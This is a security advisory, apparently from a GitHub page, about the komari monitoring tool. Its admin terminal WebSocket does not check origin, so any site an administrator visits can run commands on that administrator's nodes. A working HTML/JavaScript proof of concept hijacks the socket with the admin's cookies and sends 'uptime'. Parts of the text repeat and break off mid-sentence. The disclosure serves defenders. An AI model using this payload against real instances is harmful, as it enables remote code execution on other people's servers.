WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users
Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>
Administrator of komari instance will execute commands in his nodes unnoticed when visiting a malware page
Summary
WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users
Details
komari/api/terminal.go
Lines 33 to 35 in bd5a693
Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution
PoC
<komari-addr>
and<target-uuid>
into yoursuptime
without your actionsImpact
Administrator of komari instance will execute commands in his nodes unnoticed when visiting a malware page